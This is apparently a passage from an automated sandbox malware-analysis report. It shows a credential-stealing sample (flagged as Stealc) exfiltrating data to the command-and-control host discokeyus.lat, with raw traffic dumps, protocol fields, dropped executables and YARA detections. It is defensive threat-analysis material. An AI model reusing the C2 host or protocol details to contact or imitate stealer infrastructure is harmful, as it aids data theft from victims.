4f Data Ascii: --9OETYS0QXYWRCC3QContent-Disposition: form-data; name="hwid"0D2F109D3DF76EDDAC8923850305D13E--9OETYS0QXYWRCC3QContent-Disposition: form-data; name="pid"1--9OETYS0QXYWRCC3QContent-Disposition: form-data; name="lid"PsFKDg--pablo--9O
2024-12-20 16:10:46 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:10:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=04gopfuk42vcp34p9e408b84sa; expires=Tue, 15 Apr 2025 09:57:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HS9ZPFaVTOaGj%2BObxRUJMaiEgbeCqOuaonnw1kCIeZ9ZBwbep5wERNb8LJqQhRrquolMavlMWgYSKK427xBtn%2BLIhZ34updYzufWKv5LSuEWRmLRgCLqNKpUFElZiorEFA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50e7837f474294-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1586&rtt_var=636&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=2165&delivery_rate=1665715&cwnd=217&unsent_bytes=0&cid=94bf006093d5cb47&ts=769&x=0"
2024-12-20 16:10:46 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:10:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49737	104.21.21.99	443	7540	C:\Users\user\Desktop\u1z7S3hr06.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:10:47 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9S4G8H9ZRJ3WF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550057 Host: discokeyus.lat
2024-12-20 16:10:48 UTC	15331	OUT	Data Raw: 2d 2d 39 53 34 47 38 48 39 5a 52 4a 33 57 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 44 32 46 31 30 39 44 33 44 46 37 36 45 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 39 53 34 47 38 48 39 5a 52 4a 33 57 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 53 34 47 38 48 39 5a 52 4a 33 57 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 39 53 34 47 38 48 39 5a 52 4a 33 Data Ascii: --9S4G8H9ZRJ3WFContent-Disposition: form-data; name="hwid"0D2F109D3DF76EDDAC8923850305D13E--9S4G8H9ZRJ3WFContent-Disposition: form-data; name="pid"1--9S4G8H9ZRJ3WFContent-Disposition: form-data; name="lid"PsFKDg--pablo--9S4G8H9ZRJ3
2024-12-20 16:10:48 UTC	15331	OUT	Data Raw: 89 ee 65 1b 3f 30 f9 14 38 1e 4e 55 be 7f 1e 01 f5 86 28 0d 85 ef c6 0d 03 9e e4 98 58 ff 9f cb 08 fb 2a 80 26 2e e7 66 5b fc 65 c0 f6 49 3e 3a 8d ad 20 66 ba 40 f7 34 16 88 5d 51 87 95 f2 09 c9 21 be 05 67 9d 05 05 02 a4 89 eb 37 c6 4f c4 09 d0 e6 8b d5 a7 e2 ef 84 db 6d 44 04 1c 0b db cb 30 fa 43 c8 d6 d9 f9 20 ca 38 08 af 0f 4a 3a 82 fc 27 f3 20 38 1b aa 94 c2 1f 69 86 0b f7 03 07 ad 4e 40 ae e6 79 0b 22 d5 37 2e 2d 0a dc f8 b7 e5 e3 80 4b df 58 df bb b4 11 fb 21 a7 77 e8 50 cd fa 8d ab 54 a8 c0 be a2 c3 a4 e4 6a 62 88 eb 64 5a 14 0a ee dd ef 23 62 84 09 45 a6 9d 18 9a 96 83 01 49 fe f1 d4 5c 50 1c ec e8 b2 e6 d0 a0 81 9f 0e 58 3a f8 be 4f 0f 6c 37 96 df 7d 73 6a 74 f0 e2 ee 7e ef 1b 27 7b a5 7b 27 c7 14 ed df 3a 94 54 65 bf b1 a9 28 f8 ef 62 da ec e1 Data Ascii: e?08NU(X*&.f[eI>: f@4]Q!g7OmD0C 8J:' 8iN@y"7.-KX!wPTjbdZ#bEI\PX:Ol7}sjt~'{{':Te(b
2024-12-20 16:10:48 UTC	15331	OUT	Data Raw: 72 52 97 96 5a 27 52 ea 25 ba 30 b5 5a 0a 6f 5b 83 f1 01 c3 b5 54 13 ee f7 8f e3 71 65 a3 93 d3 d3 d1 75 fa 13 4a ce 2a 60 a7 63 04 44 90 db 87 a7 5a 06 12 55 94 14 23 e2 7e bd 3f 71 4c 3e d2 c0 a9 cb 10 e7 77 5c 85 cf 8f 97 af d6 d5 c1 3d 6a 2c fb f5 2e 83 c0 7f 57 cd 7a 5a e0 55 09 0f 8f e6 e7 11 8f 45 f3 0b ad 29 f5 2d 09 ed 6c 92 d3 7e b5 51 fb 28 8e 20 87 12 da 83 33 79 a8 bb 24 5e a9 f2 4a 30 b5 e5 4e 68 ed 9e fc 49 b9 7e fe ef ea 59 93 57 46 7f 9f 8d be 9a 1e b2 8f ef 6e 90 68 1f b5 d9 f0 79 63 34 ec 2f fe 4b b1 76 2a 84 1f fd 93 d9 bd ee 74 c5 ef 51 a6 21 a2 33 4b 34 2b b7 45 56 68 7d 38 f6 d8 10 d4 1d b5 25 f2 74 47 81 4a 3a 4b 79 82 97 2e 92 21 f1 82 1d 2c 9a 2e c6 1c df 9c e5 76 bf e7 e8 b7 9a e0 3d f4 7f ed 30 6d ed a4 3f 28 81 f8 17 65 17 af Data Ascii: rRZ'R%0Zo[TqeuJ`cDZU#~?qL>w\=j,.WzZUE)-l~Q( 3y$^J0NhI~YWFnhyc4/KvtQ!3K4+EVh}8%tGJ:Ky.!,.v=0m?(e
2024-12-20 16:10:48 UTC	15331	OUT	Data Raw: 2a c6 2e bb b9 9b 1e 65 fd e9 d9 de 4f 68 98 51 b9 e4 72 60 e3 45 bf 40 4f 66 c5 e7 91 9a 8a 97 ff b0 98 dc fc d8 d3 d5 53 2b 7f 9c 98 d4 e6 73 42 5d 63 3f b7 7e 53 7d 8d dd 6d 5e 71 ae 7d da 9f 49 cd db 0b 1c 85 8b 00 e6 d6 69 e0 78 61 07 cf 4e 9d 5e d9 42 61 96 db b0 04 ab f4 40 1b 87 a3 8e 0f b7 f9 ba fe e8 5e 84 d5 84 dc 64 81 34 90 8d 09 b9 e5 35 0f d1 ed 42 ed 0d 3e a8 e3 67 7a df 90 db 4c 9e 86 5b 68 01 87 8f bf 36 10 1f 61 0a 3c e4 ff bf 23 d0 91 cc 51 08 94 a1 a1 26 03 70 ad 2c 17 11 59 12 91 9a a5 28 70 21 e4 a9 36 df 1a 5d 5c 15 fb ea 95 e2 90 d6 0f 40 d8 43 74 c4 3c c3 12 bf 4c ba 7a 70 03 8b 9f 18 46 a9 a0 40 e2 47 4e 88 4d 84 4d 62 a8 61 93 55 69 10 6d 7c b6 71 c1 d5 80 75 97 ee 7a e3 a6 71 ef 8c e1 5a 1f 31 26 72 30 47 80 7e 46 06 46 13 7c Data Ascii: *.eOhQr`E@OfS+sB]c?~S}m^q}IixaN^Ba@^d45B>gzL[h6a<#Q&p,Y(p!6]\@Ct<LzpF@GNMMbaUim\|quzqZ1&r0G~FF\|
2024-12-20 16:10:48 UTC	15331	OUT	Data Raw: ff 8b 0a 97 e9 cb f3 5e da f6 34 c2 3c 5f 46 be 76 01 4c 25 cc 09 79 35 bf c7 8c 65 24 9a da 13 ff 8d 44 a0 a9 a1 62 7b a4 b1 f3 28 4f b4 79 3b ca dc 49 e3 d7 65 fc 4b bf ad f7 20 ba e3 5c 00 ab 0f 41 62 19 01 4c df 74 ba cd 9a 99 dd 79 72 f5 04 e7 9a 01 1e 3f a5 1b fc 55 32 10 cb 83 11 c6 f4 2a 8c a3 19 51 45 dd 46 73 b2 1f ac 19 4d c6 d8 70 a1 46 79 2b f7 4c a7 a4 d1 91 f1 3b 33 43 15 f1 9b 2f 05 28 fc 9c 3b a3 c1 d8 7a 52 ed 75 26 33 e2 ef 41 72 9d 44 a4 71 1d 82 1d 08 93 28 47 5d 22 d2 fa d0 8c b8 72 f5 74 f8 1e df d2 53 3e 15 c9 64 4b fb 8c 04 9c 90 e0 7e 46 c9 9e 5d 3a 5c d2 77 59 d3 1b cf 24 22 0f f3 99 54 fd 58 69 d2 ba b9 9a d9 ba c5 1d d6 a4 83 11 02 af 07 d4 c6 b3 de 70 81 3f 5f c7 9e 44 d6 18 e9 66 25 f0 0a 81 db 13 d0 e2 39 d3 cc 04 d1 d8 e7 Data Ascii: ^4<_FvL%y5e$Db{(Oy;IeK \AbLtyr?U2*QEFsMpFy+L;3C/(;zRu&3ArDq(G]"rtS>dK~F]:\wY$"TXip?_Df%9
2024-12-20 16:10:48 UTC	15331	OUT	Data Raw: c5 91 be 3d 8c 7a 7e 58 56 14 38 36 c9 0d 45 ea 7c fd b6 64 99 5e d1 d1 14 cf b9 22 2c fe e3 6f 6e 87 2b f6 0e 1c e4 0f 9d c0 84 fa a3 7e 2c e0 62 b3 ea 4c 68 e6 61 13 21 12 9c f9 27 81 95 5e ac 04 95 6b e3 60 d9 37 bd a2 30 7b b7 0c 6c 88 81 5f 72 b1 eb a3 44 07 db 5e 9d 25 56 d7 77 4b d8 5e 78 e1 c5 d3 ff 1d a6 b9 9e 81 bd c3 25 2d 42 7f 85 d8 89 aa 32 91 54 d8 66 ac 56 94 65 b7 ae 56 fb 0c 65 a8 fb 61 de eb 83 fb b3 cf 5c 40 df 5c 63 9c d9 99 29 72 15 ba 49 55 d7 5c 46 cf a2 97 73 66 6c 8e 92 e9 ac 25 55 da 18 00 6f d1 8c 79 56 1f 29 4d 04 10 f6 88 45 29 71 b3 1b b6 d7 06 ff 5d 97 1c a9 61 76 4e fd 4c 90 3b ee 0c ef 03 0d 2a 3b fb 1d 66 5b 20 0c 38 24 c5 90 6f 80 a9 61 97 b8 c0 03 71 86 1e 22 ed ee 5e df f7 7e 6b f6 6e 13 93 2a c4 de f8 b5 55 49 cb f2 Data Ascii: =z~XV86E\|d^",on+~,bLha!'^k`70{l_rD^%VwK^x%-B2TfVeVea\@\c)rIU\Fsfl%UoyV)ME)q]avNL;;f[ 8$oaq"^~knUI
2024-12-20 16:10:48 UTC	15331	OUT	Data Raw: ca 8a 7f da 45 1c 01 86 4d e1 10 76 14 17 35 39 e2 a3 f5 fc e3 58 bc cb 9d c0 6f 47 1e 2d 6d 65 7a 19 ef 13 d9 f0 72 14 50 a8 ee 79 e9 8d 29 1a be 8c c3 23 be ff 4e c7 8e 15 2f 98 93 f8 bf 6e b6 23 ea 80 b4 53 95 d1 cd 6c f3 54 df 27 0e ae fc 93 ba 23 d6 99 07 51 24 08 13 4a 7b ec 91 63 f3 b5 10 98 7d 16 0a 11 e5 b2 94 21 47 e1 de 93 1c ad 73 69 dc 7b 3d e8 98 3e bc cb 45 62 20 ef fd 48 8b b6 4d cd 5a d1 2c 0f b9 92 35 cd cc 11 ea 14 0d 77 91 2c 8e a8 3e 02 2c 46 33 35 50 df b1 bd 7f 69 c3 15 0d 57 71 90 5a 03 36 f6 6a 64 39 64 ed 68 2f 01 78 6a 9c 20 e2 50 08 9e 55 ec 9c 9d 25 32 c9 3a 3c f8 fd 0a a5 72 d7 6d 25 e6 c8 04 cb 52 2c 0b 1b f6 f3 57 ab ff ef 02 5f e6 61 66 49 f1 31 e1 85 cb 31 99 3a 18 e3 f3 64 5f de 59 99 38 43 71 2c 47 1a 7a 3d 12 37 5b 1c Data Ascii: EMv59XoG-mezrPy)#N/n#SlT'#Q$J{c}!Gsi{=>Eb HMZ,5w,>,F35PiWqZ6jd9dh/xj PU%2:<rm%R,W_afI11:d_Y8Cq,Gz=7[
2024-12-20 16:10:48 UTC	15331	OUT	Data Raw: 83 c3 f9 8b 06 36 bd d9 c5 1d ed e8 b6 3f 86 82 41 e0 11 94 e1 b0 b7 f4 52 b1 5c ca 88 cb a9 4d 69 84 e7 b2 73 a6 71 13 fa 14 22 34 12 eb 85 54 a7 ae 66 a7 ee 7a 83 01 2e e7 d7 e5 58 f1 ce 78 f9 e0 ef be b0 36 be 38 e9 9b ef 50 fe b5 a9 0c 96 de 8e bd 2c 22 a3 09 dd 24 ab 88 60 2a f6 1a 24 6c 54 71 08 f7 72 4c f7 f7 8f 44 51 14 46 6f ad 92 2b 8f 73 f4 ea ab b9 29 ff 80 1e 45 48 c3 e8 98 d6 4a f5 b2 87 b5 25 4e 4c 64 58 7d 4a 08 e7 f6 f1 27 17 58 95 0e 4e 1d c9 3d 12 9a 7c e4 e4 f9 7f a7 cd 58 a4 75 d1 1d 76 44 c9 37 b6 d8 b6 59 b9 a8 95 9e d3 50 46 b6 4f e2 ce 8b 4b d3 86 a3 9f ec a0 cf 3c 4f e0 b3 58 30 2f dc 97 7e 0e 68 2d 1c 20 96 20 10 47 79 37 65 fb af a4 0d 60 01 39 1c 3a c7 07 ca ad dc 7f 79 bb 9f 7c 02 3a 8f 70 62 6c d2 22 f2 4f dd f2 20 3a 35 38 Data Ascii: 6?AR\Misq"4Tfz.Xx68P,"$`*$lTqrLDQFo+s)EHJ%NLdX}J'XN=\|XuvD7YPFOK<OX0/~h- Gy7e`9:y\|:pbl"O :58
2024-12-20 16:10:48 UTC	15331	OUT	Data Raw: d4 2e 43 54 87 7e e4 8f 77 be 5b 97 b5 e5 27 aa cd 09 9a 02 40 02 2b 95 ea 9e a7 46 58 d0 d3 33 42 1f bd db a0 3f 74 62 c0 37 fd 49 6b f7 e7 87 f9 66 82 bc 5b f3 f6 9f 8c a8 ff bb 25 26 08 42 7c 16 17 d1 40 1b 7f 05 07 de a2 0b 05 50 c3 64 b2 e4 3f c1 69 da 3e 89 9b c7 6a 2c 8d f9 7d 75 10 0c 18 70 82 9c 23 4b ed 45 d1 03 1c 0a 95 86 b9 92 87 fb a5 46 5c e3 b1 23 aa 74 01 8c 36 cb 33 9a 1a 0c f0 eb 8f 59 63 2b 80 4f c5 7c f0 b8 c8 9b ad b8 7d d3 56 68 5e 3b 1f 3e 33 67 aa e6 c4 a9 cd 67 15 a9 c6 bc 82 63 e2 f7 20 d8 a8 5b 7f fd 8a 83 04 ea 7a c2 04 04 6e 10 70 0d b8 7a e5 a8 90 dd 54 7e 00 e1 a0 15 e2 de d0 9d 5c bb d6 9c 59 b2 8b 8d a9 d3 08 f6 b2 25 de 03 f3 1a 9d 44 48 3a 58 63 8c 4e da 44 14 e0 b6 cf e6 24 d0 05 04 7e 4d d9 14 da d8 da 06 66 ee 8d 2d Data Ascii: .CT~w['@+FX3B?tb7Ikf[%&B\|@Pd?i>j,}up#KEF\#t63Yc+O\|}Vh^;>3ggc [znpzT~\Y%DH:XcND$~Mf-
2024-12-20 16:10:48 UTC	15331	OUT	Data Raw: 11 f4 97 37 25 27 4c 2d 3f 45 f3 6f f0 f9 10 d0 b5 d7 d1 84 33 fc d7 24 05 1d e7 f5 69 02 5f ed ff ef a5 37 d6 71 7a 27 33 21 3e 26 b1 6c a7 21 2f f3 ae 9a 97 20 e2 8d 59 f4 58 63 22 60 d8 1d 05 f9 87 67 54 a0 fc 5f 66 4c 77 87 e1 8b 57 bf 88 56 ee bc 59 cc d6 40 40 e4 17 d7 d4 d3 de ac ab f9 e1 8c 84 fc a5 9a 09 97 29 78 a2 b6 89 54 81 56 17 b0 6c dd 11 7a 14 86 61 6a 50 8c 5a a1 29 ce db fd fa 72 91 4a ca 04 80 9d 1c bd e3 fc 8d 21 df d9 81 9e 1e d2 07 5c e7 0f 8c d6 84 f7 dc 16 70 0c 5a 78 35 6f af 42 6c a1 67 79 0c 56 ca 0d 96 dc 75 c9 17 5b 18 08 93 8a f4 6e 56 ee 18 5b 2a d6 a6 47 51 eb 66 3d f2 42 10 ee 05 8c fd b9 3e f6 8a 30 08 f1 9e 9b 95 87 c3 fc a0 d7 9a 49 13 1f f6 a4 c0 a2 8e 9f a8 92 ac d9 be 0a ee 7b c9 20 a7 dd 64 1b 96 c7 08 b4 fe 5c d3 Data Ascii: 7%'L-?Eo3$i_7qz'3!>&l!/ YXc"`gT_fLwWVY@@)xTVlzajPZ)rJ!\pZx5oBlgyVu[nV[*GQf=B>0I{ d\
2024-12-20 16:10:51 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:10:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=27lcrklllmttliqhh0p8bbmfud; expires=Tue, 15 Apr 2025 09:57:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yEj2Ihwuw5v4MuTykAHJu%2B%2BWiocOBkmFIifznFYrVweX5lSN5VO0hGTh88l5PjqaHBf46g7i9gVR07Jrrp4F9XZEopX6T12d6YDj7IqJcI54jttIjwIZ7MHGnIap%2Bv2XNA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50e79308fe159b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1470&min_rtt=1463&rtt_var=562&sent=302&recv=574&lost=0&retrans=0&sent_bytes=2832&recv_bytes=552531&delivery_rate=1922317&cwnd=32&unsent_bytes=0&cid=9140f7f155cad02c&ts=3832&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49742	104.21.21.99	443	7540	C:\Users\user\Desktop\u1z7S3hr06.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:10:53 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: discokeyus.lat
2024-12-20 16:10:53 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 30 44 32 46 31 30 39 44 33 44 46 37 36 45 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=0D2F109D3DF76EDDAC8923850305D13E
2024-12-20 16:10:53 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:10:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5p4miga032dtqrorko295me24k; expires=Tue, 15 Apr 2025 09:57:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p8LN91Ec%2BfyYzpDfkP50uaJJ6Yq2YgHboWZk1nRRKEM86lpR9WCJIDaS09DZqtts1I%2BYiOn2c84FlSc%2BXwHGSOG%2BGK1Jdu%2FxPpijaAv88IJ6kJ0NSw4HgLGh6IPQMU4xxQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50e7b3bf144373-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2245&min_rtt=2241&rtt_var=849&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=980&delivery_rate=1281826&cwnd=234&unsent_bytes=0&cid=6608916c7bc78efa&ts=768&x=0"
2024-12-20 16:10:53 UTC	214	IN	Data Raw: 64 30 0d 0a 56 46 50 53 4c 43 65 37 73 77 58 6c 66 62 61 79 50 33 75 4c 2b 58 4e 44 68 59 6e 41 75 4d 49 4c 66 53 39 38 71 46 49 4a 32 74 41 50 4b 50 42 5a 42 59 47 52 62 5a 45 4a 78 6f 68 6a 56 4e 66 57 51 6e 75 77 70 2f 4b 4a 39 79 56 4d 48 6b 2b 47 59 7a 2b 47 2f 7a 73 31 74 48 41 49 33 39 5a 6a 79 78 6a 4f 31 78 31 58 71 5a 38 48 59 62 2b 35 37 4a 71 6e 4b 55 63 66 41 59 51 70 4b 36 2f 79 62 6e 47 36 57 46 50 4c 69 56 6e 4b 49 5a 6d 44 42 30 36 6c 79 30 4a 32 71 37 6a 78 69 2b 77 36 53 33 4e 54 32 79 5a 73 75 37 30 49 66 4b 42 4e 53 64 2f 63 61 4d 73 59 7a 74 63 64 56 36 6d 66 42 32 47 2f 75 65 79 61 70 79 6c 48 48 77 48 31 0d 0a Data Ascii: d0VFPSLCe7swXlfbayP3uL+XNDhYnAuMILfS98qFIJ2tAPKPBZBYGRbZEJxohjVNfWQnuwp/KJ9yVMHk+GYz+G/zs1tHAI39ZjyxjO1x1XqZ8HYb+57JqnKUcfAYQpK6/ybnG6WFPLiVnKIZmDB06ly0J2q7jxi+w6S3NT2yZsu70IfKBNSd/caMsYztcdV6mfB2G/ueyapylHHwH1
2024-12-20 16:10:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:10:27
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\u1z7S3hr06.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\u1z7S3hr06.exe"
Imagebase:	0xfe0000
File size:	1'877'504 bytes
MD5 hash:	E82AA987C6C593C0C4BEDB9747EC1666
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1835761795.0000000000B86000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:10:59
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe"
Imagebase:	0x60000
File size:	2'846'208 bytes
MD5 hash:	ED267F8F886C1D23165754F5C17B852D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:11:04
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe"
Imagebase:	0x4c0000
File size:	2'883'584 bytes
MD5 hash:	A0956C9F9C719B85668C6F8B85F89A5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.2115624126.00000000004C1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000003.2067764925.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.2117885671.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	33.3%
Signature Coverage:	7.4%
Total number of Nodes:	27
Total number of Limit Nodes:	1

Executed Functions

Function 001E750B Relevance: 1.6, APIs: 1, Instructions: 132
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 001E750B

Memory Dump Source

Source File: 00000004.00000002.2143473592.00000000001E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00060000, based on PE: true

Associated: 00000004.00000002.2143161409.0000000000060000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143191641.0000000000062000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143216597.0000000000066000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143240241.000000000006A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143265619.0000000000076000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143369862.00000000001CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143394997.00000000001CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143422672.00000000001E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143446054.00000000001E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143473592.00000000001F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143528276.00000000001F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143551894.00000000001F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143577038.0000000000205000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143600486.0000000000208000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143621887.0000000000209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143644072.000000000020A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143667647.000000000020B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143723029.000000000020C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143750923.0000000000221000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143847299.000000000022B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143871850.000000000022D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143896838.0000000000235000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143922129.0000000000242000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143945606.0000000000249000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143974577.0000000000260000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143997561.0000000000266000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144019757.0000000000267000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144043544.0000000000270000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144067413.000000000027F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144089947.0000000000281000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144112200.0000000000282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144135437.0000000000285000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144158853.000000000028C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144181428.000000000028F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144206086.0000000000296000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144230105.000000000029A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144253417.00000000002A1000.00000080.00000001.01000000.00000006.sdmpDownload File
